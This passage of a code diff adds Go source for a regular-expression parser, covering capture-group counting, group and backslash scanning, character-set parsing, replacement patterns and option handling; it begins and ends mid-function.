+ next = -1 + } else { + oldcapnamelist = p.capnamelist + p.capnamelist = []string{} + next = p.capnames[oldcapnamelist[0]] + } + + for i := 0; i < p.capcount; i++ { + j := i + if p.capnumlist != nil { + j = p.capnumlist[i] + } + + if next == j { + p.capnamelist = append(p.capnamelist, oldcapnamelist[k]) + k++ + + if k == len(oldcapnamelist) { + next = -1 + } else { + next = p.capnames[oldcapnamelist[k]] + } + + } else { + //feature: culture? + str := strconv.Itoa(j) + p.capnamelist = append(p.capnamelist, str) + p.capnames[str] = j + } + } + } +} + +func (p *parser) consumeAutocap() int { + r := p.autocap + p.autocap++ + return r +} + +// CountCaptures is a prescanner for deducing the slots used for +// captures by doing a partial tokenization of the pattern. +func (p *parser) countCaptures() error { + var ch rune + + p.noteCaptureSlot(0, 0) + + p.autocap = 1 + + for p.charsRight() > 0 { + pos := p.textpos() + ch = p.moveRightGetChar() + switch ch { + case '\\': + if p.charsRight() > 0 { + p.scanBackslash(true) + } + + case '#': + if p.useOptionX() { + p.moveLeft() + p.scanBlank() + } + + case '[': + p.scanCharSet(false, true) + + case ')': + if !p.emptyOptionsStack() { + p.popOptions() + } + + case '(': + if p.charsRight() >= 2 && p.rightChar(1) == '#' && p.rightChar(0) == '?' { + p.moveLeft() + p.scanBlank() + } else { + p.pushOptions() + if p.charsRight() > 0 && p.rightChar(0) == '?' { + // we have (?... + p.moveRight(1) + + if p.charsRight() > 1 && (p.rightChar(0) == '<' || p.rightChar(0) == '\'') { + // named group: (?<... or (?'... + + p.moveRight(1) + ch = p.rightChar(0) + + if ch != '0' && IsWordChar(ch) { + if ch >= '1' && ch <= '9' { + dec, err := p.scanDecimal() + if err != nil { + return err + } + p.noteCaptureSlot(dec, pos) + } else { + p.noteCaptureName(p.scanCapname(), pos) + } + } + } else if p.useRE2() && p.charsRight() > 2 && (p.rightChar(0) == 'P' && p.rightChar(1) == '<') { + // RE2-compat (?P<) + p.moveRight(2) + ch = p.rightChar(0) + if IsWordChar(ch) { + p.noteCaptureName(p.scanCapname(), pos) + } + + } else { + // (?... + + // get the options if it's an option construct (?cimsx-cimsx...) + p.scanOptions() + + if p.charsRight() > 0 { + if p.rightChar(0) == ')' { + // (?cimsx-cimsx) + p.moveRight(1) + p.popKeepOptions() + } else if p.rightChar(0) == '(' { + // alternation construct: (?(foo)yes|no) + // ignore the next paren so we don't capture the condition + p.ignoreNextParen = true + + // break from here so we don't reset ignoreNextParen + continue + } + } + } + } else { + if !p.useOptionN() && !p.ignoreNextParen { + p.noteCaptureSlot(p.consumeAutocap(), pos) + } + } + } + + p.ignoreNextParen = false + + } + } + + p.assignNameSlots() + return nil +} + +func (p *parser) reset(topopts RegexOptions) { + p.currentPos = 0 + p.autocap = 1 + p.ignoreNextParen = false + + if len(p.optionsStack) > 0 { + p.optionsStack = p.optionsStack[:0] + } + + p.options = topopts + p.stack = nil +} + +func (p *parser) scanRegex() (*regexNode, error) { + ch := '@' // nonspecial ch, means at beginning + isQuant := false + + p.startGroup(newRegexNodeMN(ntCapture, p.options, 0, -1)) + + for p.charsRight() > 0 { + wasPrevQuantifier := isQuant + isQuant = false + + if err := p.scanBlank(); err != nil { + return nil, err + } + + startpos := p.textpos() + + // move past all of the normal characters. We'll stop when we hit some kind of control character, + // or if IgnorePatternWhiteSpace is on, we'll stop when we see some whitespace. + if p.useOptionX() { + for p.charsRight() > 0 { + ch = p.rightChar(0) + //UGLY: clean up, this is ugly + if !(!isStopperX(ch) || (ch == '{' && !p.isTrueQuantifier())) { + break + } + p.moveRight(1) + } + } else { + for p.charsRight() > 0 { + ch = p.rightChar(0) + if !(!isSpecial(ch) || ch == '{' && !p.isTrueQuantifier()) { + break + } + p.moveRight(1) + } + } + + endpos := p.textpos() + + p.scanBlank() + + if p.charsRight() == 0 { + ch = '!' // nonspecial, means at end + } else if ch = p.rightChar(0); isSpecial(ch) { + isQuant = isQuantifier(ch) + p.moveRight(1) + } else { + ch = ' ' // nonspecial, means at ordinary char + } + + if startpos < endpos { + cchUnquantified := endpos - startpos + if isQuant { + cchUnquantified-- + } + wasPrevQuantifier = false + + if cchUnquantified > 0 { + p.addToConcatenate(startpos, cchUnquantified, false) + } + + if isQuant { + p.addUnitOne(p.charAt(endpos - 1)) + } + } + + switch ch { + case '!': + goto BreakOuterScan + + case ' ': + goto ContinueOuterScan + + case '[': + cc, err := p.scanCharSet(p.useOptionI(), false) + if err != nil { + return nil, err + } + p.addUnitSet(cc) + + case '(': + p.pushOptions() + + if grouper, err := p.scanGroupOpen(); err != nil { + return nil, err + } else if grouper == nil { + p.popKeepOptions() + } else { + p.pushGroup() + p.startGroup(grouper) + } + + continue + + case '|': + p.addAlternate() + goto ContinueOuterScan + + case ')': + if p.emptyStack() { + return nil, p.getErr(ErrUnexpectedParen) + } + + if err := p.addGroup(); err != nil { + return nil, err + } + if err := p.popGroup(); err != nil { + return nil, err + } + p.popOptions() + + if p.unit == nil { + goto ContinueOuterScan + } + + case '\\': + n, err := p.scanBackslash(false) + if err != nil { + return nil, err + } + p.addUnitNode(n) + + case '^': + if p.useOptionM() { + p.addUnitType(ntBol) + } else { + p.addUnitType(ntBeginning) + } + + case '$': + if p.useOptionM() { + p.addUnitType(ntEol) + } else { + p.addUnitType(ntEndZ) + } + + case '.': + if p.useOptionS() { + p.addUnitSet(AnyClass()) + } else if p.useOptionE() { + p.addUnitSet(ECMAAnyClass()) + } else { + p.addUnitNotone('\n') + } + + case '{', '*', '+', '?': + if p.unit == nil { + if wasPrevQuantifier { + return nil, p.getErr(ErrInvalidRepeatOp) + } else { + return nil, p.getErr(ErrMissingRepeatArgument) + } + } + p.moveLeft() + + default: + return nil, p.getErr(ErrInternalError) + } + + if err := p.scanBlank(); err != nil { + return nil, err + } + + if p.charsRight() > 0 { + isQuant = p.isTrueQuantifier() + } + if p.charsRight() == 0 || !isQuant { + //maintain odd C# assignment order -- not sure if required, could clean up? + p.addConcatenate() + goto ContinueOuterScan + } + + ch = p.moveRightGetChar() + + // Handle quantifiers + for p.unit != nil { + var min, max int + var lazy bool + + switch ch { + case '*': + min = 0 + max = math.MaxInt32 + + case '?': + min = 0 + max = 1 + + case '+': + min = 1 + max = math.MaxInt32 + + case '{': + { + var err error + startpos = p.textpos() + if min, err = p.scanDecimal(); err != nil { + return nil, err + } + max = min + if startpos < p.textpos() { + if p.charsRight() > 0 && p.rightChar(0) == ',' { + p.moveRight(1) + if p.charsRight() == 0 || p.rightChar(0) == '}' { + max = math.MaxInt32 + } else { + if max, err = p.scanDecimal(); err != nil { + return nil, err + } + } + } + } + + if startpos == p.textpos() || p.charsRight() == 0 || p.moveRightGetChar() != '}' { + p.addConcatenate() + p.textto(startpos - 1) + goto ContinueOuterScan + } + } + + default: + return nil, p.getErr(ErrInternalError) + } + + if err := p.scanBlank(); err != nil { + return nil, err + } + + if p.charsRight() == 0 || p.rightChar(0) != '?' { + lazy = false + } else { + p.moveRight(1) + lazy = true + } + + if min > max { + return nil, p.getErr(ErrInvalidRepeatSize) + } + + p.addConcatenate3(lazy, min, max) + } + + ContinueOuterScan: + } + +BreakOuterScan: + ; + + if !p.emptyStack() { + return nil, p.getErr(ErrMissingParen) + } + + if err := p.addGroup(); err != nil { + return nil, err + } + + return p.unit, nil + +} + +/* + * Simple parsing for replacement patterns + */ +func (p *parser) scanReplacement() (*regexNode, error) { + var c, startpos int + + p.concatenation = newRegexNode(ntConcatenate, p.options) + + for { + c = p.charsRight() + if c == 0 { + break + } + + startpos = p.textpos() + + for c > 0 && p.rightChar(0) != '$' { + p.moveRight(1) + c-- + } + + p.addToConcatenate(startpos, p.textpos()-startpos, true) + + if c > 0 { + if p.moveRightGetChar() == '$' { + n, err := p.scanDollar() + if err != nil { + return nil, err + } + p.addUnitNode(n) + } + p.addConcatenate() + } + } + + return p.concatenation, nil +} + +/* + * Scans $ patterns recognized within replacement patterns + */ +func (p *parser) scanDollar() (*regexNode, error) { + if p.charsRight() == 0 { + return newRegexNodeCh(ntOne, p.options, '$'), nil + } + + ch := p.rightChar(0) + angled := false + backpos := p.textpos() + lastEndPos := backpos + + // Note angle + + if ch == '{' && p.charsRight() > 1 { + angled = true + p.moveRight(1) + ch = p.rightChar(0) + } + + // Try to parse backreference: \1 or \{1} or \{cap} + + if ch >= '0' && ch <= '9' { + if !angled && p.useOptionE() { + capnum := -1 + newcapnum := int(ch - '0') + p.moveRight(1) + if p.isCaptureSlot(newcapnum) { + capnum = newcapnum + lastEndPos = p.textpos() + } + + for p.charsRight() > 0 { + ch = p.rightChar(0) + if ch < '0' || ch > '9' { + break + } + digit := int(ch - '0') + if newcapnum > maxValueDiv10 || (newcapnum == maxValueDiv10 && digit > maxValueMod10) { + return nil, p.getErr(ErrCaptureGroupOutOfRange) + } + + newcapnum = newcapnum*10 + digit + + p.moveRight(1) + if p.isCaptureSlot(newcapnum) { + capnum = newcapnum + lastEndPos = p.textpos() + } + } + p.textto(lastEndPos) + if capnum >= 0 { + return newRegexNodeM(ntRef, p.options, capnum), nil + } + } else { + capnum, err := p.scanDecimal() + if err != nil { + return nil, err + } + if !angled || p.charsRight() > 0 && p.moveRightGetChar() == '}' { + if p.isCaptureSlot(capnum) { + return newRegexNodeM(ntRef, p.options, capnum), nil + } + } + } + } else if angled && IsWordChar(ch) { + capname := p.scanCapname() + + if p.charsRight() > 0 && p.moveRightGetChar() == '}' { + if p.isCaptureName(capname) { + return newRegexNodeM(ntRef, p.options, p.captureSlotFromName(capname)), nil + } + } + } else if !angled { + capnum := 1 + + switch ch { + case '$': + p.moveRight(1) + return newRegexNodeCh(ntOne, p.options, '$'), nil + case '&': + capnum = 0 + case '`': + capnum = replaceLeftPortion + case '\'': + capnum = replaceRightPortion + case '+': + capnum = replaceLastGroup + case '_': + capnum = replaceWholeString + } + + if capnum != 1 { + p.moveRight(1) + return newRegexNodeM(ntRef, p.options, capnum), nil + } + } + + // unrecognized $: literalize + + p.textto(backpos) + return newRegexNodeCh(ntOne, p.options, '$'), nil +} + +// scanGroupOpen scans chars following a '(' (not counting the '('), and returns +// a RegexNode for the type of group scanned, or nil if the group +// simply changed options (?cimsx-cimsx) or was a comment (#...). +func (p *parser) scanGroupOpen() (*regexNode, error) { + var ch rune + var nt nodeType + var err error + close := '>' + start := p.textpos() + + // just return a RegexNode if we have: + // 1. "(" followed by nothing + // 2. "(x" where x != ? + // 3. "(?)" + if p.charsRight() == 0 || p.rightChar(0) != '?' || (p.rightChar(0) == '?' && (p.charsRight() > 1 && p.rightChar(1) == ')')) { + if p.useOptionN() || p.ignoreNextParen { + p.ignoreNextParen = false + return newRegexNode(ntGroup, p.options), nil + } + return newRegexNodeMN(ntCapture, p.options, p.consumeAutocap(), -1), nil + } + + p.moveRight(1) + + for { + if p.charsRight() == 0 { + break + } + + switch ch = p.moveRightGetChar(); ch { + case ':': + nt = ntGroup + + case '=': + p.options &= ^RightToLeft + nt = ntRequire + + case '!': + p.options &= ^RightToLeft + nt = ntPrevent + + case '>': + nt = ntGreedy + + case '\'': + close = '\'' + fallthrough + + case '<': + if p.charsRight() == 0 { + goto BreakRecognize + } + + switch ch = p.moveRightGetChar(); ch { + case '=': + if close == '\'' { + goto BreakRecognize + } + + p.options |= RightToLeft + nt = ntRequire + + case '!': + if close == '\'' { + goto BreakRecognize + } + + p.options |= RightToLeft + nt = ntPrevent + + default: + p.moveLeft() + capnum := -1 + uncapnum := -1 + proceed := false + + // grab part before - + + if ch >= '0' && ch <= '9' { + if capnum, err = p.scanDecimal(); err != nil { + return nil, err + } + + if !p.isCaptureSlot(capnum) { + capnum = -1 + } + + // check if we have bogus characters after the number + if p.charsRight() > 0 && !(p.rightChar(0) == close || p.rightChar(0) == '-') { + return nil, p.getErr(ErrInvalidGroupName) + } + if capnum == 0 { + return nil, p.getErr(ErrCapNumNotZero) + } + } else if IsWordChar(ch) { + capname := p.scanCapname() + + if p.isCaptureName(capname) { + capnum = p.captureSlotFromName(capname) + } + + // check if we have bogus character after the name + if p.charsRight() > 0 && !(p.rightChar(0) == close || p.rightChar(0) == '-') { + return nil, p.getErr(ErrInvalidGroupName) + } + } else if ch == '-' { + proceed = true + } else { + // bad group name - starts with something other than a word character and isn't a number + return nil, p.getErr(ErrInvalidGroupName) + } + + // grab part after - if any + + if (capnum != -1 || proceed == true) && p.charsRight() > 0 && p.rightChar(0) == '-' { + p.moveRight(1) + + //no more chars left, no closing char, etc + if p.charsRight() == 0 { + return nil, p.getErr(ErrInvalidGroupName) + } + + ch = p.rightChar(0) + if ch >= '0' && ch <= '9' { + if uncapnum, err = p.scanDecimal(); err != nil { + return nil, err + } + + if !p.isCaptureSlot(uncapnum) { + return nil, p.getErr(ErrUndefinedBackRef, uncapnum) + } + + // check if we have bogus characters after the number + if p.charsRight() > 0 && p.rightChar(0) != close { + return nil, p.getErr(ErrInvalidGroupName) + } + } else if IsWordChar(ch) { + uncapname := p.scanCapname() + + if !p.isCaptureName(uncapname) { + return nil, p.getErr(ErrUndefinedNameRef, uncapname) + } + uncapnum = p.captureSlotFromName(uncapname) + + // check if we have bogus character after the name + if p.charsRight() > 0 && p.rightChar(0) != close { + return nil, p.getErr(ErrInvalidGroupName) + } + } else { + // bad group name - starts with something other than a word character and isn't a number + return nil, p.getErr(ErrInvalidGroupName) + } + } + + // actually make the node + + if (capnum != -1 || uncapnum != -1) && p.charsRight() > 0 && p.moveRightGetChar() == close { + return newRegexNodeMN(ntCapture, p.options, capnum, uncapnum), nil + } + goto BreakRecognize + } + + case '(': + // alternation construct (?(...) | ) + + parenPos := p.textpos() + if p.charsRight() > 0 { + ch = p.rightChar(0) + + // check if the alternation condition is a backref + if ch >= '0' && ch <= '9' { + var capnum int + if capnum, err = p.scanDecimal(); err != nil { + return nil, err + } + if p.charsRight() > 0 && p.moveRightGetChar() == ')' { + if p.isCaptureSlot(capnum) { + return newRegexNodeM(ntTestref, p.options, capnum), nil + } + return nil, p.getErr(ErrUndefinedReference, capnum) + } + + return nil, p.getErr(ErrMalformedReference, capnum) + + } else if IsWordChar(ch) { + capname := p.scanCapname() + + if p.isCaptureName(capname) && p.charsRight() > 0 && p.moveRightGetChar() == ')' { + return newRegexNodeM(ntTestref, p.options, p.captureSlotFromName(capname)), nil + } + } + } + // not a backref + nt = ntTestgroup + p.textto(parenPos - 1) // jump to the start of the parentheses + p.ignoreNextParen = true // but make sure we don't try to capture the insides + + charsRight := p.charsRight() + if charsRight >= 3 && p.rightChar(1) == '?' { + rightchar2 := p.rightChar(2) + // disallow comments in the condition + if rightchar2 == '#' { + return nil, p.getErr(ErrAlternationCantHaveComment) + } + + // disallow named capture group (?<..>..) in the condition + if rightchar2 == '\'' { + return nil, p.getErr(ErrAlternationCantCapture) + } + + if charsRight >= 4 && (rightchar2 == '<' && p.rightChar(3) != '!' && p.rightChar(3) != '=') { + return nil, p.getErr(ErrAlternationCantCapture) + } + } + + case 'P': + if p.useRE2() { + // support for P syntax + if p.charsRight() < 3 { + goto BreakRecognize + } + + ch = p.moveRightGetChar() + if ch != '<' { + goto BreakRecognize + } + + ch = p.moveRightGetChar() + p.moveLeft() + + if IsWordChar(ch) { + capnum := -1 + capname := p.scanCapname() + + if p.isCaptureName(capname) { + capnum = p.captureSlotFromName(capname) + } + + // check if we have bogus character after the name + if p.charsRight() > 0 && p.rightChar(0) != '>' { + return nil, p.getErr(ErrInvalidGroupName) + } + + // actually make the node + + if capnum != -1 && p.charsRight() > 0 && p.moveRightGetChar() == '>' { + return newRegexNodeMN(ntCapture, p.options, capnum, -1), nil + } + goto BreakRecognize + + } else { + // bad group name - starts with something other than a word character and isn't a number + return nil, p.getErr(ErrInvalidGroupName) + } + } + // if we're not using RE2 compat mode then + // we just behave like normal + fallthrough + + default: + p.moveLeft() + + nt = ntGroup + // disallow options in the children of a testgroup node + if p.group.t != ntTestgroup { + p.scanOptions() + } + if p.charsRight() == 0 { + goto BreakRecognize + } + + if ch = p.moveRightGetChar(); ch == ')' { + return nil, nil + } + + if ch != ':' { + goto BreakRecognize + } + + } + + return newRegexNode(nt, p.options), nil + } + +BreakRecognize: + + // break Recognize comes here + + return nil, p.getErr(ErrUnrecognizedGrouping, string(p.pattern[start:p.textpos()])) +} + +// scans backslash specials and basics +func (p *parser) scanBackslash(scanOnly bool) (*regexNode, error) { + + if p.charsRight() == 0 { + return nil, p.getErr(ErrIllegalEndEscape) + } + + switch ch := p.rightChar(0); ch { + case 'b', 'B', 'A', 'G', 'Z', 'z': + p.moveRight(1) + return newRegexNode(p.typeFromCode(ch), p.options), nil + + case 'w': + p.moveRight(1) + if p.useOptionE() || p.useRE2() { + return newRegexNodeSet(ntSet, p.options, ECMAWordClass()), nil + } + return newRegexNodeSet(ntSet, p.options, WordClass()), nil + + case 'W': + p.moveRight(1) + if p.useOptionE() || p.useRE2() { + return newRegexNodeSet(ntSet, p.options, NotECMAWordClass()), nil + } + return newRegexNodeSet(ntSet, p.options, NotWordClass()), nil + + case 's': + p.moveRight(1) + if p.useOptionE() { + return newRegexNodeSet(ntSet, p.options, ECMASpaceClass()), nil + } else if p.useRE2() { + return newRegexNodeSet(ntSet, p.options, RE2SpaceClass()), nil + } + return newRegexNodeSet(ntSet, p.options, SpaceClass()), nil + + case 'S': + p.moveRight(1) + if p.useOptionE() { + return newRegexNodeSet(ntSet, p.options, NotECMASpaceClass()), nil + } else if p.useRE2() { + return newRegexNodeSet(ntSet, p.options, NotRE2SpaceClass()), nil + } + return newRegexNodeSet(ntSet, p.options, NotSpaceClass()), nil + + case 'd': + p.moveRight(1) + if p.useOptionE() || p.useRE2() { + return newRegexNodeSet(ntSet, p.options, ECMADigitClass()), nil + } + return newRegexNodeSet(ntSet, p.options, DigitClass()), nil + + case 'D': + p.moveRight(1) + if p.useOptionE() || p.useRE2() { + return newRegexNodeSet(ntSet, p.options, NotECMADigitClass()), nil + } + return newRegexNodeSet(ntSet, p.options, NotDigitClass()), nil + + case 'p', 'P': + p.moveRight(1) + prop, err := p.parseProperty() + if err != nil { + return nil, err + } + cc := &CharSet{} + cc.addCategory(prop, (ch != 'p'), p.useOptionI(), p.patternRaw) + if p.useOptionI() { + cc.addLowercase() + } + + return newRegexNodeSet(ntSet, p.options, cc), nil + + default: + return p.scanBasicBackslash(scanOnly) + } +} + +// Scans \-style backreferences and character escapes +func (p *parser) scanBasicBackslash(scanOnly bool) (*regexNode, error) { + if p.charsRight() == 0 { + return nil, p.getErr(ErrIllegalEndEscape) + } + angled := false + k := false + close := '\x00' + + backpos := p.textpos() + ch := p.rightChar(0) + + // Allow \k instead of \, which is now deprecated. + + // According to ECMAScript specification, \k is only parsed as a named group reference if + // there is at least one group name in the regexp. + // See https://www.ecma-international.org/ecma-262/#sec-isvalidregularexpressionliteral, step 7. + // Note, during the first (scanOnly) run we may not have all group names scanned, but that's ok. + if ch == 'k' && (!p.useOptionE() || len(p.capnames) > 0) { + if p.charsRight() >= 2 { + p.moveRight(1) + ch = p.moveRightGetChar() + + if ch == '<' || (!p.useOptionE() && ch == '\'') { // No support for \k'name' in ECMAScript + angled = true + if ch == '\'' { + close = '\'' + } else { + close = '>' + } + } + } + + if !angled || p.charsRight() <= 0 { + return nil, p.getErr(ErrMalformedNameRef) + } + + ch = p.rightChar(0) + k = true + + } else if !p.useOptionE() && (ch == '<' || ch == '\'') && p.charsRight() > 1 { // Note angle without \g + angled = true + if ch == '\'' { + close = '\'' + } else { + close = '>' + } + + p.moveRight(1) + ch = p.rightChar(0) + } + + // Try to parse backreference: \<1> or \ + + if angled && ch >= '0' && ch <= '9' { + capnum, err := p.scanDecimal() + if err != nil { + return nil, err + } + + if p.charsRight() > 0 && p.moveRightGetChar() == close { + if p.isCaptureSlot(capnum) { + return newRegexNodeM(ntRef, p.options, capnum), nil + } + return nil, p.getErr(ErrUndefinedBackRef, capnum) + } + } else if !angled && ch >= '1' && ch <= '9' { // Try to parse backreference or octal: \1 + capnum, err := p.scanDecimal() + if err != nil { + return nil, err + } + + if scanOnly { + return nil, nil + } + + if p.isCaptureSlot(capnum) { + return newRegexNodeM(ntRef, p.options, capnum), nil + } + if capnum <= 9 && !p.useOptionE() { + return nil, p.getErr(ErrUndefinedBackRef, capnum) + } + + } else if angled { + capname := p.scanCapname() + + if capname != "" && p.charsRight() > 0 && p.moveRightGetChar() == close { + + if scanOnly { + return nil, nil + } + + if p.isCaptureName(capname) { + return newRegexNodeM(ntRef, p.options, p.captureSlotFromName(capname)), nil + } + return nil, p.getErr(ErrUndefinedNameRef, capname) + } else { + if k { + return nil, p.getErr(ErrMalformedNameRef) + } + } + } + + // Not backreference: must be char code + + p.textto(backpos) + ch, err := p.scanCharEscape() + if err != nil { + return nil, err + } + + if scanOnly { + return nil, nil + } + + if p.useOptionI() { + ch = unicode.ToLower(ch) + } + + return newRegexNodeCh(ntOne, p.options, ch), nil +} + +// Scans X for \p{X} or \P{X} +func (p *parser) parseProperty() (string, error) { + // RE2 and PCRE supports \pX syntax (no {} and only 1 letter unicode cats supported) + // since this is purely additive syntax it's not behind a flag + if p.charsRight() >= 1 && p.rightChar(0) != '{' { + ch := string(p.moveRightGetChar()) + // check if it's a valid cat + if !isValidUnicodeCat(ch) { + return "", p.getErr(ErrUnknownSlashP, ch) + } + return ch, nil + } + + if p.charsRight() < 3 { + return "", p.getErr(ErrIncompleteSlashP) + } + ch := p.moveRightGetChar() + if ch != '{' { + return "", p.getErr(ErrMalformedSlashP) + } + + startpos := p.textpos() + for p.charsRight() > 0 { + ch = p.moveRightGetChar() + if !(IsWordChar(ch) || ch == '-') { + p.moveLeft() + break + } + } + capname := string(p.pattern[startpos:p.textpos()]) + + if p.charsRight() == 0 || p.moveRightGetChar() != '}' { + return "", p.getErr(ErrIncompleteSlashP) + } + + if !isValidUnicodeCat(capname) { + return "", p.getErr(ErrUnknownSlashP, capname) + } + + return capname, nil +} + +// Returns ReNode type for zero-length assertions with a \ code. +func (p *parser) typeFromCode(ch rune) nodeType { + switch ch { + case 'b': + if p.useOptionE() { + return ntECMABoundary + } + return ntBoundary + case 'B': + if p.useOptionE() { + return ntNonECMABoundary + } + return ntNonboundary + case 'A': + return ntBeginning + case 'G': + return ntStart + case 'Z': + return ntEndZ + case 'z': + return ntEnd + default: + return ntNothing + } +} + +// Scans whitespace or x-mode comments. +func (p *parser) scanBlank() error { + if p.useOptionX() { + for { + for p.charsRight() > 0 && isSpace(p.rightChar(0)) { + p.moveRight(1) + } + + if p.charsRight() == 0 { + break + } + + if p.rightChar(0) == '#' { + for p.charsRight() > 0 && p.rightChar(0) != '\n' { + p.moveRight(1) + } + } else if p.charsRight() >= 3 && p.rightChar(2) == '#' && + p.rightChar(1) == '?' && p.rightChar(0) == '(' { + for p.charsRight() > 0 && p.rightChar(0) != ')' { + p.moveRight(1) + } + if p.charsRight() == 0 { + return p.getErr(ErrUnterminatedComment) + } + p.moveRight(1) + } else { + break + } + } + } else { + for { + if p.charsRight() < 3 || p.rightChar(2) != '#' || + p.rightChar(1) != '?' || p.rightChar(0) != '(' { + return nil + } + + for p.charsRight() > 0 && p.rightChar(0) != ')' { + p.moveRight(1) + } + if p.charsRight() == 0 { + return p.getErr(ErrUnterminatedComment) + } + p.moveRight(1) + } + } + return nil +} + +func (p *parser) scanCapname() string { + startpos := p.textpos() + + for p.charsRight() > 0 { + if !IsWordChar(p.moveRightGetChar()) { + p.moveLeft() + break + } + } + + return string(p.pattern[startpos:p.textpos()]) +} + +// Scans contents of [] (not including []'s), and converts to a set. +func (p *parser) scanCharSet(caseInsensitive, scanOnly bool) (*CharSet, error) { + ch := '\x00' + chPrev := '\x00' + inRange := false + firstChar := true + closed := false + + var cc *CharSet + if !scanOnly { + cc = &CharSet{} + } + + if p.charsRight() > 0 && p.rightChar(0) == '^' { + p.moveRight(1) + if !scanOnly { + cc.negate = true + } + } + + for ; p.charsRight() > 0; firstChar = false { + fTranslatedChar := false + ch = p.moveRightGetChar() + if ch == ']' { + if !firstChar { + closed = true + break + } else if p.useOptionE() { + if !scanOnly { + cc.addRanges(NoneClass().ranges) + } + closed = true + break + } + + } else if ch == '\\' && p.charsRight() > 0 { + switch ch = p.moveRightGetChar(); ch { + case 'D', 'd': + if !scanOnly { + if inRange { + return nil, p.getErr(ErrBadClassInCharRange, ch) + } + cc.addDigit(p.useOptionE() || p.useRE2(), ch == 'D', p.patternRaw) + } + continue + + case 'S', 's': + if !scanOnly { + if inRange { + return nil, p.getErr(ErrBadClassInCharRange, ch) + } + cc.addSpace(p.useOptionE(), p.useRE2(), ch == 'S') + } + continue + + case 'W', 'w': + if !scanOnly { + if inRange { + return nil, p.getErr(ErrBadClassInCharRange, ch) + } + + cc.addWord(p.useOptionE() || p.useRE2(), ch == 'W') + } + continue + + case 'p', 'P': + if !scanOnly { + if inRange { + return nil, p.getErr(ErrBadClassInCharRange, ch) + } + prop, err := p.parseProperty() + if err != nil { + return nil, err + } + cc.addCategory(prop, (ch != 'p'), caseInsensitive, p.patternRaw) + } else { + p.parseProperty() + } + + continue + + case '-': + if !scanOnly { + cc.addRange(ch, ch) + } + continue + + default: + p.moveLeft() + var err error + ch, err = p.scanCharEscape() // non-literal character + if err != nil { + return nil, err + } + fTranslatedChar = true + break // this break will only break out of the switch + } + } else if ch == '[' { + // This is code for Posix style properties - [:Ll:] or [:IsTibetan:]. + // It currently doesn't do anything other than skip the whole thing! + if p.charsRight() > 0 && p.rightChar(0) == ':' && !inRange { + savePos := p.textpos() + + p.moveRight(1) + negate := false + if p.charsRight() > 1 && p.rightChar(0) == '^' { + negate = true + p.moveRight(1) + } + + nm := p.scanCapname() // snag the name + if !scanOnly && p.useRE2() { + // look up the name since these are valid for RE2 + // add the group based on the name + if ok := cc.addNamedASCII(nm, negate); !ok { + return nil, p.getErr(ErrInvalidCharRange) + } + } + if p.charsRight() < 2 || p.moveRightGetChar() != ':' || p.moveRightGetChar() != ']' { + p.textto(savePos) + } else if p.useRE2() { + // move on + continue + } + } + } + + if inRange { + inRange = false + if !scanOnly { + if ch == '[' && !fTranslatedChar && !firstChar { + // We thought we were in a range, but we're actually starting a subtraction. + // In that case, we'll add chPrev to our char class, skip the opening [, and + // scan the new character class recursively. + cc.addChar(chPrev) + sub, err := p.scanCharSet(caseInsensitive, false) + if err != nil { + return nil, err + } + cc.addSubtraction(sub) + + if p.charsRight() > 0 && p.rightChar(0) != ']' { + return nil, p.getErr(ErrSubtractionMustBeLast) + } + } else { + // a regular range, like a-z + if chPrev > ch { + return nil, p.getErr(ErrReversedCharRange, chPrev, ch) + } + cc.addRange(chPrev, ch) + } + } + } else if p.charsRight() >= 2 && p.rightChar(0) == '-' && p.rightChar(1) != ']' { + // this could be the start of a range + chPrev = ch + inRange = true + p.moveRight(1) + } else if p.charsRight() >= 1 && ch == '-' && !fTranslatedChar && p.rightChar(0) == '[' && !firstChar { + // we aren't in a range, and now there is a subtraction. Usually this happens + // only when a subtraction follows a range, like [a-z-[b]] + if !scanOnly { + p.moveRight(1) + sub, err := p.scanCharSet(caseInsensitive, false) + if err != nil { + return nil, err + } + cc.addSubtraction(sub) + + if p.charsRight() > 0 && p.rightChar(0) != ']' { + return nil, p.getErr(ErrSubtractionMustBeLast) + } + } else { + p.moveRight(1) + p.scanCharSet(caseInsensitive, true) + } + } else { + if !scanOnly { + cc.addRange(ch, ch) + } + } + } + + if !closed { + return nil, p.getErr(ErrUnterminatedBracket) + } + + if !scanOnly && caseInsensitive { + cc.addLowercase() + } + + return cc, nil +} + +// Scans any number of decimal digits (pegs value at 2^31-1 if too large) +func (p *parser) scanDecimal() (int, error) { + i := 0 + var d int + + for p.charsRight() > 0 { + d = int(p.rightChar(0) - '0') + if d < 0 || d > 9 { + break + } + p.moveRight(1) + + if i > maxValueDiv10 || (i == maxValueDiv10 && d > maxValueMod10) { + return 0, p.getErr(ErrCaptureGroupOutOfRange) + } + + i *= 10 + i += d + } + + return int(i), nil +} + +// Returns true for options allowed only at the top level +func isOnlyTopOption(option RegexOptions) bool { + return option == RightToLeft || option == ECMAScript || option == RE2 +} + +// Scans cimsx-cimsx option string, stops at the first unrecognized char. +func (p *parser) scanOptions() { + + for off := false; p.charsRight() > 0; p.moveRight(1) { + ch := p.rightChar(0) + + if ch == '-' { + off = true + } else if ch == '+' { + off = false + } else { + option := optionFromCode(ch) + if option == 0 || isOnlyTopOption(option) { + return + } + + if off { + p.options &= ^option + } else { + p.options |= option + } + } + } +} + +// Scans \ code for escape codes that map to single unicode chars. +func (p *parser) scanCharEscape() (r rune, err error) { + + ch := p.moveRightGetChar() + + if ch >= '0' && ch <= '7' { + p.moveLeft() + return p.scanOctal(), nil + } + + pos := p.textpos() + + switch ch { + case 'x': + // support for \x{HEX} syntax from Perl and PCRE + if p.charsRight() > 0 && p.rightChar(0) == '{' { + if p.useOptionE() { + return ch, nil + } + p.moveRight(1) + return p.scanHexUntilBrace() + } else { + r, err = p.scanHex(2) + } + case 'u': + // ECMAscript suppot \u{HEX} only if `u` is also set + if p.useOptionE() && p.useOptionU() && p.charsRight() > 0 && p.rightChar(0) == '{' { + p.moveRight(1) + return p.scanHexUntilBrace() + } else { + r, err = p.scanHex(4) + } + case 'a': + return '\u0007', nil + case 'b': + return '\b', nil + case 'e': + return '\u001B', nil + case 'f': + return '\f', nil + case 'n': + return '\n', nil + case 'r': + return '\r', nil + case 't': + return '\t', nil + case 'v': + return '\u000B', nil + case 'c': + r, err = p.scanControl() + default: + if !p.useOptionE() && !p.useRE2() && IsWordChar(ch) { + return 0, p.getErr(ErrUnrecognizedEscape, string(ch)) + } + return ch, nil + } + if err != nil && p.useOptionE() { + p.textto(pos) + return ch, nil + } + return +} + +// Grabs and converts an ascii control character +func (p *parser) scanControl() (rune, error) { + if p.charsRight() <= 